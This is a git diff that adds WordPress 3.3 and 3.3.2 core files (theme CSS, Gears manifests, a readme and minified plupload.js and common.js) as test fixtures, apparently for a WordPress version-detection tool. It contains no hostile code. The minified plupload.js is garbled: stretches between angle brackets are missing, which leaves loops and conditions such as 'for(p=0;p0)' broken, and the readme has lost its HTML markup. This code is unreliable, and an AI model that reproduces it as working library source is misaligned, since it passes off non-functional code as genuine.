font-sizes for better readability on smaller devices */ + body, input, textarea { + font-size: 13px; + } + #site-title a { + font-size: 24px; + } + #site-description { + font-size: 12px; + } + #access ul { + font-size: 12px; + } + article.intro .entry-content { + font-size: 12px; + } + .entry-title { + font-size: 21px; + } + .featured-post .entry-title { + font-size: 14px; + } + .singular .entry-title { + font-size: 28px; + } + .entry-meta { + font-size: 12px; + } + blockquote { + margin: 0; + } + blockquote.pull { + font-size: 17px; + } + /* Reposition the site title and description slightly */ + #site-title { + padding: 5.30625em 0 0; + } + #site-title, + #site-description { + margin-right: 0; + } + /* Make sure the logo and search form don't collide */ + #branding #searchform { + top: 1.625em !important; + } + /* Floated content doesn't work well at this size */ + .alignleft, + .alignright { + float: none; + margin-left: 0; + margin-right: 0; + } + /* Make sure the post-post navigation doesn't collide with anything */ + #nav-single { + display: block; + position: static; + } + .singular .hentry { + padding: 1.625em 0 0; + } + .singular.page .hentry { + padding: 1.625em 0 0; + } + /* Talking avatars take up too much room at this size */ + .commentlist > li.comment, + .commentlist > li.pingback { + margin-left: 0 !important; + } + .commentlist .avatar { + background: transparent; + display: block; + padding: 0; + position: static; + } + .commentlist .children .avatar { + background: none; + left: 2.2em; + padding: 0; + position: absolute; + top: 2.2em; + } + /* Use the available space in the smaller comment form */ + #respond input[type="text"] { + width: 95%; + } + #respond .comment-form-author .required, + #respond .comment-form-email .required { + left: 95%; + } + #content .gallery-columns-3 .gallery-item { + width: 31%; + padding-right: 2%; + } + #content .gallery-columns-3 .gallery-item img { + width: 100%; + height: auto; + } + +} +@media (max-width: 450px) { + #content .gallery-columns-2 .gallery-item { + width: 45%; + padding-right: 4%; + } + #content .gallery-columns-2 .gallery-item img { + width: 100%; + height: auto; + } + +} +@media only screen and (min-device-width: 320px) and (max-device-width: 480px) { + body { + padding: 0; + } + #page { + margin-top: 0; + } + #branding { + border-top: none; + } + +} + + +/* =Print +----------------------------------------------- */ + +@media print { + body { + background: none !important; + font-size: 10pt; + } + footer.entry-meta a[rel=bookmark]:link:after, + footer.entry-meta a[rel=bookmark]:visited:after { + content: " [" attr(href) "] "; /* Show URLs */ + } + #page { + clear: both !important; + display: block !important; + float: none !important; + max-width: 100%; + position: relative !important; + } + #branding { + border-top: none !important; + padding: 0; + } + #branding hgroup { + margin: 0; + } + #site-title a { + font-size: 21pt; + } + #site-description { + font-size: 10pt; + } + #branding #searchform { + display: none; + } + #branding img { + display: none; + } + #access { + display: none; + } + #main { + border-top: none; + box-shadow: none; + } + #primary { + float: left; + margin: 0; + width: 100%; + } + #content { + margin: 0; + width: auto; + } + .singular #content { + margin: 0; + width: 100%; + } + .singular .entry-header .entry-meta { + position: static; + } + .entry-meta .edit-link a { + display: none; + } + #content nav { + display: none; + } + .singular .entry-header, + .singular .entry-content, + .singular footer.entry-meta, + .singular #comments-title { + margin: 0; + width: 100%; + } + .singular .hentry { + padding: 0; + } + .entry-title, + .singular .entry-title { + font-size: 21pt; + } + .entry-meta { + font-size: 10pt; + } + .entry-header .comments-link { + display: none; + } + .page-link { + display: none; + } + .singular #author-info { + background: none; + border-bottom: none; + border-top: none; + margin: 2.2em 0 0; + padding: 0; + } + #respond { + display: none; + } + .widget-area { + display: none; + } + #colophon { + display: none; + } + + /* Comments */ + .commentlist > li.comment { + background: none; + border: 1px solid #ddd; + -moz-border-radius: 3px 3px 3px 3px; + border-radius: 3px 3px 3px 3px; + margin: 0 auto 1.625em; + padding: 1.625em; + position: relative; + width: auto; + } + .commentlist .avatar { + height: 39px; + left: 2.2em; + top: 2.2em; + width: 39px; + } + .commentlist li.comment .comment-meta { + line-height: 1.625em; + margin-left: 50px; + } + .commentlist li.comment .fn { + display: block; + } + .commentlist li.comment .comment-content { + margin: 1.625em 0 0; + } + .commentlist .comment-edit-link { + display: none; + } + .commentlist > li::before, + .commentlist > li.bypostauthor::before { + content: ''; + } + .commentlist .reply { + display: none; + } + + /* Post author highlighting */ + .commentlist > li.bypostauthor { + color: #444; + } + .commentlist > li.bypostauthor .comment-meta { + color: #666; + } + .commentlist > li.bypostauthor:before { + content: none; + } + + /* Post Author threaded comments */ + .commentlist .children > li.bypostauthor { + background: #fff; + border-color: #ddd; + } + .commentlist .children > li.bypostauthor > article, + .commentlist .children > li.bypostauthor > article .comment-meta { + color: #666; + } + +} + + +/* =IE7 +----------------------------------------------- */ + +#ie7 article.intro { + margin-left: -7.6%; + margin-right: -7.6%; + padding-left: -7.6%; + padding-right: -7.6%; + max-width: 1000px; +} +#ie7 section.featured-post { + margin-left: -7.6%; + margin-right: -7.6%; + max-width: 850px; +} +#ie7 section.recent-posts { + margin-right: 7.6%; +} diff --git a/spec/fixtures/wp_versions/3.3.2/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/3.3.2/wp-admin/gears-manifest.php new file mode 100755 index 00000000..c098d940 --- /dev/null +++ b/spec/fixtures/wp_versions/3.3.2/wp-admin/gears-manifest.php @@ -0,0 +1,72 @@ +{ +"betaManifestVersion" : 1, +"version" : "5ac7244b5aa005b569735c705aaf614a", +"entries" : [ +{ "url" : "images/align-center.png", "ignoreQuery" : true } +{ "url" : "images/align-left.png", "ignoreQuery" : true } +{ "url" : "images/align-none.png", "ignoreQuery" : true } +{ "url" : "images/align-right.png", "ignoreQuery" : true } +{ "url" : "images/archive-link.png", "ignoreQuery" : true } +{ "url" : "images/blue-grad.png", "ignoreQuery" : true } +{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true } +{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/button-grad.png", "ignoreQuery" : true } +{ "url" : "images/button-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true } +{ "url" : "images/date-button.gif", "ignoreQuery" : true } +{ "url" : "images/ed-bg.gif", "ignoreQuery" : true } +{ "url" : "images/fade-butt.png", "ignoreQuery" : true } +{ "url" : "images/fav.png", "ignoreQuery" : true } +{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/generic.png", "ignoreQuery" : true } +{ "url" : "images/gray-grad.png", "ignoreQuery" : true } +{ "url" : "images/icons32.png", "ignoreQuery" : true } +{ "url" : "images/icons32-vs.png", "ignoreQuery" : true } +{ "url" : "images/list.png", "ignoreQuery" : true } +{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true } +{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true } +{ "url" : "images/logo.gif", "ignoreQuery" : true } +{ "url" : "images/logo-ghost.png", "ignoreQuery" : true } +{ "url" : "images/logo-login.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-image.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-music.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-other.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-video.gif", "ignoreQuery" : true } +{ "url" : "images/menu.png", "ignoreQuery" : true } +{ "url" : "images/menu-vs.png", "ignoreQuery" : true } +{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/no.png", "ignoreQuery" : true } +{ "url" : "images/required.gif", "ignoreQuery" : true } +{ "url" : "images/resize.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true } +{ "url" : "images/se.png", "ignoreQuery" : true } +{ "url" : "images/star.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/white-grad.png", "ignoreQuery" : true } +{ "url" : "images/white-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true } +{ "url" : "images/wp-logo.png", "ignoreQuery" : true } +{ "url" : "images/xit.gif", "ignoreQuery" : true } +{ "url" : "images/yes.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/blank.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true } +]} diff --git a/spec/fixtures/wp_versions/3.3.2/wp-includes/js/plupload/plupload.js b/spec/fixtures/wp_versions/3.3.2/wp-includes/js/plupload/plupload.js new file mode 100755 index 00000000..bc0c3f8b --- /dev/null +++ b/spec/fixtures/wp_versions/3.3.2/wp-includes/js/plupload/plupload.js @@ -0,0 +1,2 @@ +/*1.5.4*/ +(function(){var f=0,k=[],m={},i={},a={"<":"lt",">":"gt","&":"amp",'"':"quot","'":"#39"},l=/[<>&\"\']/g,b,c=window.setTimeout,d={},e;function h(){this.returnValue=false}function j(){this.cancelBubble=true}(function(n){var o=n.split(/,/),p,r,q;for(p=0;p0){g.each(o,function(r,q){n[q]=r})}});return n},cleanName:function(n){var o,p;p=[/[\300-\306]/g,"A",/[\340-\346]/g,"a",/\307/g,"C",/\347/g,"c",/[\310-\313]/g,"E",/[\350-\353]/g,"e",/[\314-\317]/g,"I",/[\354-\357]/g,"i",/\321/g,"N",/\361/g,"n",/[\322-\330]/g,"O",/[\362-\370]/g,"o",/[\331-\334]/g,"U",/[\371-\374]/g,"u"];for(o=0;o0?"&":"?")+p}return o},each:function(q,r){var p,o,n;if(q){p=q.length;if(p===b){for(o in q){if(q.hasOwnProperty(o)){if(r(q[o],o)===false){return}}}}else{for(n=0;n1073741824){return Math.round(n/1073741824,1)+" GB"}if(n>1048576){return Math.round(n/1048576,1)+" MB"}if(n>1024){return Math.round(n/1024,1)+" KB"}return n+" b"},getPos:function(o,s){var t=0,r=0,v,u=document,p,q;o=o;s=s||u.body;function n(B){var z,A,w=0,C=0;if(B){A=B.getBoundingClientRect();z=u.compatMode==="CSS1Compat"?u.documentElement:u.body;w=A.left+z.scrollLeft;C=A.top+z.scrollTop}return{x:w,y:C}}if(o&&o.getBoundingClientRect&&((navigator.userAgent.indexOf("MSIE")>0)&&(u.documentMode<8))){p=n(o);q=n(s);return{x:p.x-q.x,y:p.y-q.y}}v=o;while(v&&v!=s&&v.nodeType){t+=v.offsetLeft||0;r+=v.offsetTop||0;v=v.offsetParent}v=o.parentNode;while(v&&v!=s&&v.nodeType){t-=v.scrollLeft||0;r-=v.scrollTop||0;v=v.parentNode}return{x:t,y:r}},getSize:function(n){return{w:n.offsetWidth||n.clientWidth,h:n.offsetHeight||n.clientHeight}},parseSize:function(n){var o;if(typeof(n)=="string"){n=/^([0-9]+)([mgk]?)$/.exec(n.toLowerCase().replace(/[^0-9mkg]/g,""));o=n[2];n=+n[1];if(o=="g"){n*=1073741824}if(o=="m"){n*=1048576}if(o=="k"){n*=1024}}return n},xmlEncode:function(n){return n?(""+n).replace(l,function(o){return a[o]?"&"+a[o]+";":o}):n},toArray:function(p){var o,n=[];for(o=0;o=0;o--){if(q[o].key===p||q[o].orig===t){if(s.removeEventListener){s.removeEventListener(n,q[o].func,false)}else{if(s.detachEvent){s.detachEvent("on"+n,q[o].func)}}q[o].orig=null;q[o].func=null;q.splice(o,1);if(t!==b){break}}}if(!q.length){delete d[s[e]][n]}if(g.isEmptyObj(d[s[e]])){delete d[s[e]];try{delete s[e]}catch(r){s[e]=b}}},removeAllEvents:function(o){var n=arguments[1];if(o[e]===b||!o[e]){return}g.each(d[o[e]],function(q,p){g.removeEvent(o,p,n)})}};g.Uploader=function(r){var o={},u,t=[],q,p=false;u=new g.QueueProgress();r=g.extend({chunk_size:0,multipart:true,multi_selection:true,file_data_name:"file",filters:[]},r);function s(){var w,x=0,v;if(this.state==g.STARTED){for(v=0;v0?Math.ceil(u.uploaded/t.length*100):0}else{u.bytesPerSec=Math.ceil(u.loaded/((+new Date()-q||1)/1000));u.percent=u.size>0?Math.ceil(u.loaded/u.size*100):0}}g.extend(this,{state:g.STOPPED,runtime:"",features:{},files:t,settings:r,total:u,id:g.guid(),init:function(){var A=this,B,x,w,z=0,y;if(typeof(r.preinit)=="function"){r.preinit(A)}else{g.each(r.preinit,function(D,C){A.bind(C,D)})}r.page_url=r.page_url||document.location.pathname.replace(/\/[^\/]+$/g,"/");if(!/^(\w+:\/\/|\/)/.test(r.url)){r.url=r.page_url+r.url}r.chunk_size=g.parseSize(r.chunk_size);r.max_file_size=g.parseSize(r.max_file_size);A.bind("FilesAdded",function(C,F){var E,D,H=0,I,G=r.filters;if(G&&G.length){I=[];g.each(G,function(J){g.each(J.extensions.split(/,/),function(K){if(/^\s*\*\s*$/.test(K)){I.push("\\.*")}else{I.push("\\."+K.replace(new RegExp("["+("/^$.*+?|()[]{}\\".replace(/./g,"\\$&"))+"]","g"),"\\$&"))}})});I=new RegExp(I.join("|")+"$","i")}for(E=0;Er.max_file_size){C.trigger("Error",{code:g.FILE_SIZE_ERROR,message:g.translate("File size error."),file:D});continue}t.push(D);H++}if(H){c(function(){A.trigger("QueueChanged");A.refresh()},1)}else{return false}});if(r.unique_names){A.bind("UploadFile",function(C,D){var F=D.name.match(/\.([^.]+)$/),E="tmp";if(F){E=F[1]}D.target_name=D.id+"."+E})}A.bind("UploadProgress",function(C,D){D.percent=D.size>0?Math.ceil(D.loaded/D.size*100):100;n()});A.bind("StateChanged",function(C){if(C.state==g.STARTED){q=(+new Date())}else{if(C.state==g.STOPPED){for(B=C.files.length-1;B>=0;B--){if(C.files[B].status==g.UPLOADING){C.files[B].status=g.QUEUED;n()}}}}});A.bind("QueueChanged",n);A.bind("Error",function(C,D){if(D.file){D.file.status=g.FAILED;n();if(C.state==g.STARTED){c(function(){s.call(A)},1)}}});A.bind("FileUploaded",function(C,D){D.status=g.DONE;D.loaded=D.size;C.trigger("UploadProgress",D);c(function(){s.call(A)},1)});if(r.runtimes){x=[];y=r.runtimes.split(/\s?,\s?/);for(B=0;B=0;v--){if(t[v].id===w){return t[v]}}},removeFile:function(w){var v;for(v=t.length-1;v>=0;v--){if(t[v].id===w.id){return this.splice(v,1)[0]}}},splice:function(x,v){var w;w=t.splice(x===b?0:x,v===b?t.length:v);this.trigger("FilesRemoved",w);this.trigger("QueueChanged");return w},trigger:function(w){var y=o[w.toLowerCase()],x,v;if(y){v=Array.prototype.slice.call(arguments);v[0]=this;for(x=0;x=0;w--){if(y[w].func===x){y.splice(w,1);break}}}else{y=[]}if(!y.length){delete o[v]}}},unbindAll:function(){var v=this;g.each(o,function(x,w){v.unbind(w)})},destroy:function(){this.stop();this.trigger("Destroy");this.unbindAll()}})};g.File=function(q,o,p){var n=this;n.id=q;n.name=o;n.size=p;n.loaded=0;n.percent=0;n.status=0};g.Runtime=function(){this.getFeatures=function(){};this.init=function(n,o){}};g.QueueProgress=function(){var n=this;n.size=0;n.loaded=0;n.uploaded=0;n.failed=0;n.queued=0;n.percent=0;n.bytesPerSec=0;n.reset=function(){n.size=n.loaded=n.uploaded=n.failed=n.queued=n.percent=n.bytesPerSec=0}};g.runtimes={};window.plupload=g})(); \ No newline at end of file diff --git a/spec/fixtures/wp_versions/3.3/readme.html b/spec/fixtures/wp_versions/3.3/readme.html new file mode 100755 index 00000000..72e21ee6 --- /dev/null +++ b/spec/fixtures/wp_versions/3.3/readme.html @@ -0,0 +1,109 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 3.3 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory and upload everything.
  2. +
  3. Open wp-admin/install.php in your browser. It will take you through the process to set up a wp-config.php file with your database connection details. +
      +
    1. If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
    2. +
    3. Save the file as wp-config.php and upload it.
    4. +
    5. Open wp-admin/install.php in your browser.
    6. +
    +
  4. +
  5. Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  6. +
  7. If you did not enter a password, note the password given to you. If you did not provide a username, it will be admin.
  8. +
  9. The installer should then send you to the login page. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.
  10. +
+ +

Updating

+

Using the Automatic Updater

+

If you are updating from version 2.7 or higher, you can use the automatic updater:

+
    +
  1. Open the wp-admin/update-core.php in your browser and follow the instructions.
  2. +
  3. You wanted more, perhaps? That's it!
  4. +
+ +

Updating Manually

+
    +
  1. Before you update anything, make sure you have backup copies of any files you may have modified such as index.php.
  2. +
  3. Delete your old WordPress files, saving ones you've modified.
  4. +
  5. Upload the new files.
  6. +
  7. Point your browser to /wp-admin/upgrade.php.
  8. +
+ +

Theme Template Changes

+

If you have customized your theme templates, you may have to make some changes across major versions.

+ +

Migrating from other systems

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above, before using our import tools.

+ +

System Requirements

+
    +
  • PHP version 5.2.4 or higher.
  • +
  • MySQL version 5.0 or higher.
  • +
+ +

System Recommendations

+ + +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The WordPress Blog
+
This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

XML-RPC and Atom Interface

+

You can post to your WordPress blog with tools like Windows Live Writer, Ecto, w.bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We introduced a very flexible roles system in version 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final Notes

+
    +
  • If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this, see the plugin documentation in the Codex. You shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

License

+

WordPress is free software, and is released under the terms of the GPL version 2 or (at your option) any later version. See license.txt.

+ + + + diff --git a/spec/fixtures/wp_versions/3.3/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/3.3/wp-admin/gears-manifest.php new file mode 100755 index 00000000..c098d940 --- /dev/null +++ b/spec/fixtures/wp_versions/3.3/wp-admin/gears-manifest.php @@ -0,0 +1,72 @@ +{ +"betaManifestVersion" : 1, +"version" : "5ac7244b5aa005b569735c705aaf614a", +"entries" : [ +{ "url" : "images/align-center.png", "ignoreQuery" : true } +{ "url" : "images/align-left.png", "ignoreQuery" : true } +{ "url" : "images/align-none.png", "ignoreQuery" : true } +{ "url" : "images/align-right.png", "ignoreQuery" : true } +{ "url" : "images/archive-link.png", "ignoreQuery" : true } +{ "url" : "images/blue-grad.png", "ignoreQuery" : true } +{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true } +{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/button-grad.png", "ignoreQuery" : true } +{ "url" : "images/button-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true } +{ "url" : "images/date-button.gif", "ignoreQuery" : true } +{ "url" : "images/ed-bg.gif", "ignoreQuery" : true } +{ "url" : "images/fade-butt.png", "ignoreQuery" : true } +{ "url" : "images/fav.png", "ignoreQuery" : true } +{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/generic.png", "ignoreQuery" : true } +{ "url" : "images/gray-grad.png", "ignoreQuery" : true } +{ "url" : "images/icons32.png", "ignoreQuery" : true } +{ "url" : "images/icons32-vs.png", "ignoreQuery" : true } +{ "url" : "images/list.png", "ignoreQuery" : true } +{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true } +{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true } +{ "url" : "images/logo.gif", "ignoreQuery" : true } +{ "url" : "images/logo-ghost.png", "ignoreQuery" : true } +{ "url" : "images/logo-login.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-image.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-music.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-other.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-video.gif", "ignoreQuery" : true } +{ "url" : "images/menu.png", "ignoreQuery" : true } +{ "url" : "images/menu-vs.png", "ignoreQuery" : true } +{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/no.png", "ignoreQuery" : true } +{ "url" : "images/required.gif", "ignoreQuery" : true } +{ "url" : "images/resize.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true } +{ "url" : "images/se.png", "ignoreQuery" : true } +{ "url" : "images/star.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/white-grad.png", "ignoreQuery" : true } +{ "url" : "images/white-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true } +{ "url" : "images/wp-logo.png", "ignoreQuery" : true } +{ "url" : "images/xit.gif", "ignoreQuery" : true } +{ "url" : "images/yes.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/blank.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true } +]} diff --git a/spec/fixtures/wp_versions/3.3/wp-admin/js/common.js b/spec/fixtures/wp_versions/3.3/wp-admin/js/common.js new file mode 100755 index 00000000..d03d5b49 --- /dev/null +++ b/spec/fixtures/wp_versions/3.3/wp-admin/js/common.js @@ -0,0 +1 @@ +var showNotice,adminMenu,columns,validateForm,screenMeta,autofold_menu;(function(a){adminMenu={init:function(){},fold:function(){},restoreMenuState:function(){},toggle:function(){},favorites:function(){}};columns={init:function(){var b=this;a(".hide-column-tog","#adv-settings").click(function(){var d=a(this),c=d.val();if(d.prop("checked")){b.checked(c)}else{b.unchecked(c)}columns.saveManageColumnsState()})},saveManageColumnsState:function(){var b=this.hidden();a.post(ajaxurl,{action:"hidden-columns",hidden:b,screenoptionnonce:a("#screenoptionnonce").val(),page:pagenow})},checked:function(b){a(".column-"+b).show();this.colSpanChange(+1)},unchecked:function(b){a(".column-"+b).hide();this.colSpanChange(-1)},hidden:function(){return a(".manage-column").filter(":hidden").map(function(){return this.id}).get().join(",")},useCheckboxesForHidden:function(){this.hidden=function(){return a(".hide-column-tog").not(":checked").map(function(){var b=this.id;return b.substring(b,b.length-5)}).get().join(",")}},colSpanChange:function(b){var d=a("table").find(".colspanchange"),c;if(!d.length){return}c=parseInt(d.attr("colspan"),10)+b;d.attr("colspan",c.toString())}};a(document).ready(function(){columns.init()});validateForm=function(b){return !a(b).find(".form-required").filter(function(){return a("input:visible",this).val()==""}).addClass("form-invalid").find("input:visible").change(function(){a(this).closest(".form-invalid").removeClass("form-invalid")}).size()};showNotice={warn:function(){var b=commonL10n.warnDelete||"";if(confirm(b)){return true}return false},note:function(b){alert(b)}};screenMeta={element:null,toggles:null,page:null,init:function(){this.element=a("#screen-meta");this.toggles=a(".screen-meta-toggle a");this.page=a("#wpcontent");this.toggles.click(this.toggleEvent)},toggleEvent:function(c){var b=a(this.href.replace(/.+#/,"#"));c.preventDefault();if(!b.length){return}if(b.is(":visible")){screenMeta.close(b,a(this))}else{screenMeta.open(b,a(this))}},open:function(b,c){a(".screen-meta-toggle").not(c.parent()).css("visibility","hidden");b.parent().show();b.slideDown("fast",function(){c.addClass("screen-meta-active")})},close:function(b,c){b.slideUp("fast",function(){c.removeClass("screen-meta-active");a(".screen-meta-toggle").css("visibility","");b.parent().hide()})}};a(".contextual-help-tabs").delegate("a","click focus",function(d){var c=a(this),b;d.preventDefault();if(c.is(".active a")){return false}a(".contextual-help-tabs .active").removeClass("active");c.parent("li").addClass("active");b=a(c.attr("href"));a(".help-tab-content").not(b).removeClass("active").hide();b.addClass("active").show()});a(document).ready(function(){var j=false,c,e,k,i,b=a("#adminmenu"),d=a("input.current-page"),f=d.val(),h,g;g=function(l,n){var o=a(n),m=o.attr("tabindex");if(m){o.attr("tabindex","0").attr("tabindex",m)}};a("#collapse-menu",b).click(function(){var l=a(document.body);if(l.hasClass("folded")){l.removeClass("folded");setUserSetting("mfold","o")}else{l.addClass("folded");setUserSetting("mfold","f")}return false});a("li.wp-has-submenu",b).hoverIntent({over:function(t){var u,r,l,s,n=a(this).find(".wp-submenu"),v,p,q;if(!a(document.body).hasClass("folded")&&a(this).hasClass("wp-menu-open")){return}v=a(this).offset().top;p=a(window).scrollTop();q=v-p-30;u=v+n.height()+1;r=a("#wpwrap").height();l=60+u-r;s=a(window).height()+p-15;if(s<(u-l)){l=u-s}if(l>q){l=q}if(l>1){n.css({marginTop:"-"+l+"px"})}else{if(n.css("marginTop")){n.css({marginTop:""})}}n.addClass("sub-open")},out:function(){a(this).find(".wp-submenu").removeClass("sub-open")},timeout:200,sensitivity:7,interval:90});a("li.wp-has-submenu > a.wp-not-current-submenu",b).bind("keydown.adminmenu",function(m){if(m.which!=13){return}var l=a(m.target);m.stopPropagation();m.preventDefault();b.find(".wp-submenu").removeClass("sub-open");l.siblings(".wp-submenu").toggleClass("sub-open").find('a[role="menuitem"]').each(g)}).each(g);a('a[role="menuitem"]',b).bind("keydown.adminmenu",function(m){if(m.which!=27){return}var l=a(m.target);m.stopPropagation();m.preventDefault();l.add(l.siblings()).closest(".sub-open").removeClass("sub-open").siblings("a.wp-not-current-submenu").focus()});a("div.wrap h2:first").nextAll("div.updated, div.error").addClass("below-h2");a("div.updated, div.error").not(".below-h2, .inline").insertAfter(a("div.wrap h2:first"));screenMeta.init();a("tbody").children().children(".check-column").find(":checkbox").click(function(l){if("undefined"==l.shiftKey){return true}if(l.shiftKey){if(!j){return 